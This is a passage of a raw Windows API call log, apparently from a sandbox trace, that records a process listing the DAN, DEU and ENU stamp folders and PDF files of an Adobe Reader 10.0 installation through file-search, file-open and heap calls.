BaseAddress=0x12a34c8) returned 1 [0083.047] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DAN", cAlternateFileName="")) returned 1 [0083.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.048] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.049] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0083.049] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0083.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12d0b48 [0083.049] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12d0b48, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12d0b48, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d0b48) returned 1 [0083.050] NtClose (Handle=0x174) returned 0x0 [0083.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.051] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.051] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.051] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe6d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215200 [0083.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a4c80 [0083.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.053] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9306, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215220 [0083.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a4d88 [0083.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.054] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18757, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215240 [0083.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a4e90 [0083.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.056] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18757, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.056] GetLastError () returned 0x12 [0083.056] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.056] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.056] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.056] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe6d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.056] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9306, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.056] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18757, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.056] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18757, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.057] GetLastError () returned 0x12 [0083.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a35d0) returned 1 [0083.057] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a36d8) returned 1 [0083.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.057] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEU", cAlternateFileName="")) returned 1 [0083.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.057] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.058] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0083.059] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0083.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12d0b48 [0083.059] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12d0b48, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12d0b48, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d0b48) returned 1 [0083.059] NtClose (Handle=0x180) returned 0x0 [0083.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.061] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.061] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.061] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcadf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.062] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.062] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215260 [0083.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a4f98 [0083.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.063] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa36f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215280 [0083.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a50a0 [0083.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.064] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x178c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12152a0 [0083.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a51a8 [0083.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.066] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x178c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.066] GetLastError () returned 0x12 [0083.066] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.066] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.066] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.066] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcadf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.066] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa36f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.066] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x178c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.066] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x178c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.066] GetLastError () returned 0x12 [0083.067] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a36d8) returned 1 [0083.067] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.067] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a35d0) returned 1 [0083.067] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.067] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0083.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.067] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.075] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0083.075] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 